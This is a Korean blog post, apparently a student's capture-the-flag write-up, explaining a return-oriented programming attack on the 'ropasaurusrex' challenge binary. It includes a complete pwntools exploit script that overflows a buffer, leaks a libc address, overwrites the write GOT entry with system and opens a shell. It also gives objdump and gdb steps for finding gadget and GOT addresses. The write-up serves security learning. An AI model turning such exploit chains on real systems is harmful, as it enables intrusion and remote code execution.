티스토리 뷰

오늘은 ROP (Return Oriented Programing) 에 대해 라업을 작성해보자!

ROP 문제!

로파사우르스렉스 이지만 앞에 rop가 있으니 rop로 ㄱㄱ

이문제는 코드가 없어서 리버싱을 해봐야한다.
따라서 IDA에 올려보자!

IDA 에 올리고 main함수

IDA에 올리고 나서 프로그램은 main함수에서 시작되므로
main함수를 클릭해 tap키를 누르면 C로 작성된 코드를 볼 수 있다.

main 함수에 sub_80483F4와 write 함수가 보인다.
즉 서브함수에서 무엇인가 하고 write함수를 이용해서 WIN을 출력한다
그럼 서브함수는 무엇을 하는지 찾아보자!

간단하게 sub_80483F4를 클릭하면 이 서브함수로 들어오게 되는데
보면 buf를 선언하고 read함수로 buf를 받는다
이때 buf는 [ebp-88]로 보아 0x88의 크기를 갖고있지만
read 함수는 0x100까지 받을 수 있도록 설정 되어 있다.
숫자뒤에 붙는 h와 u 는 왜 붙는지 모르겠다..ㅎㅎ

문제의 바이러니 분석은 끝났으므로


시나리오를 짜보자

일단 이전의 문제들 처럼 system('/bin/sh') 을 불러주는 함수가 없으므로
우리가 직접 호출하고 /bin/sh을 입력해줘서 불러야한다.
그렇다면 일단 read함수로 '/bin/sh'을 입력해주고
write 함수를 이용하면 '/bin/sh'을 인자로 출력할 수 있다
이때 write함수를 system 함수로 got를 바꿔준다면 system('/bin/sh') 이 될 것이다.

큰 시나리오는 이렇다면 전체적인 시나리오를 짜보자!

1. write함수를 이용해서 read함수의 실제 주소를 알아낸다.
2.  read함수를 이용해서 '/bin/sh' 이란 문자열을 저장한다 (이 문자열을 사용해야하므로 나중에 우리가 불러올 수 있는 주소에 저장한다 예를들면 bss 영역 같은 곳)
3. read 함수를 이용해서 write_got에 system함수 주소를 덮어씌운다.
4. write함수를 호출하면 write_got를 system으로 덮었기 때문에 system함수가 호출된다.

시나리오도 다 짯으니 직접 페이로드도 작성해보자

from pwn import *


p = process('./ropasaurusrex')
e = ELF('./ropasaurusrex')


#------function address-----------
pppr = 0x080484b6
read_plt = 0x0804832c
read_got = 0x0804961c
write_got = 0x08049614
write_plt = 0x0804830c
bss = 0x08049628
shell = '/bin/sh\x00'
off = 0x9ad60
# full the buf
payload = "A"*140

#----read_addr---------
payload += p32(write_plt) 
payload += p32(pppr) 
payload += p32(1) 
payload += p32(read_got) 
payload += p32(4)

#-----'/bin/sh' store ------
payload += p32(read_plt) 
payload += p32(pppr) 
payload += p32(0) 
payload += p32(bss)
payload += p32(8)

#-----write_got -> system -----
payload += p32(read_plt) 
payload += p32(pppr) 
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

#-----call the write(system) -----
payload += p32(write_plt) 
payload += "AAAA" 
payload += p32(bss)

p.sendline(payload)


read_addr = u32(p.recv(4))

log.info(hex(read_addr))

system_addr = read_addr - off

p.send("/bin/sh\x00")

p.sendline(p32(system_addr))


p.interactive()

하나씩 이해해보자!

먼저 function addr부분은 우리가 payload 작성할때 필요한 함수들의 주소를 미리 구해놨다.

1. pppr 의 주소
objdump -d ./ropasaurusrex | grep -B3 ret
명령어를 통해 pop pop pop ret 의 주소를 찾는다

0x80484b6 이나 0x080484b6이나 같다.. 이거 멍청하게 선배님께 여쭤봤다...반성중,,,

2. read_plt와 write_plt를 차례로 구해준다.
명령어는 위에 명령어에서 ret 대신에 read와 write로 바꿔주면 된다

3. read_got write_got 주소 
GOT 주소를 얻기위해서 gdb로 까봐야하는데
이 문제는 심볼이 없어서 main함수 주소를 직접 입력해서 break를 걸어줘야한다

IDA이용해서 구할 수 있는데 main클릭하고 스페이스바를 클릭하면 이런 화면으로 넘어온다
여기서 메인 옆에 0x0804841D가 메인함수의 시작 주소이다.

이런식으로 break 걸어주고 r 해서 실행해주면 디버깅 할 수 있다
이제 got를 구할 수 있다

이렇게 명령어를 입력하면 된다 x/5i 뒤에 오는 주소는 각각의 plt 주소이다.

4. offset 구하기
간단하게 p/x read-system 해주면 16진수로 바로 나온다

매우 간단!

5. bss 주소 구하기
objdump -h ./ropasaurusrex | grep -B3 bss

여기서 4바이트만 필요하니깐
그냥 0x08049628 로 저장했다

함수 주소들을 구하는 방법이였고 그 다음의 payload들은 시나리오의 순서대로 작성됐다.

ROP 끝~~~!!